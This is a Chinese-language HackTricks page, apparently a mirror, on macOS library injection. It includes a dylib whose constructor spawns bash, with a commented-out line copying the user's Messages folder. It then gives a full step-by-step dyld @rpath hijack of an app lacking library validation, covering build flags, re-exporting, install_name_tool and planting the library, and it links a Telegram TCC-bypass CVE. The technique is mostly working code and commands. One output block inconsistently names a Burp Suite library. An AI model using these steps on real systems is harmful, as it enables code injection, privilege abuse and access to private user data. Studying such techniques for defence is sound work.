> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md).

# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES

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## DYLD\_INSERT\_LIBRARIES 基本示例

**要注入的库**以执行shell：

```c
// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```

攻击的二进制文件：

```c
// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}
```

注入：

```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```

## Dyld劫持示例

目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>

```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```

根据前面的信息，我们知道它**没有检查加载的库的签名**，并且**试图从以下位置加载库**：

* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`

然而，第一个不存在：

```bash
pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```

所以，它是可以被劫持的！创建一个库，**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译：

{% code title="lib.m" %}

```objectivec
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```

{% endcode %}

编译它：

{% code overflow="wrap" %}

```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```

{% endcode %}

在库中创建的重新导出路径是相对于加载器的，让我们将其更改为要导出的库的绝对路径：

{% code overflow="wrap" %}

```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```

{% endcode %}

最后只需将其复制到**劫持位置**：

{% code overflow="wrap" %}

```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```

{% endcode %}

然后**执行**二进制文件并检查**库是否被加载**：

<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</code></pre>

{% hint style="info" %}
关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 <https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/> 找到。
{% endhint %}

## 更大规模

如果您计划尝试在意外的二进制文件中注入库，您可以检查事件消息以找出库何时加载到进程中（在这种情况下删除 printf 和 `/bin/bash` 执行）。

```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>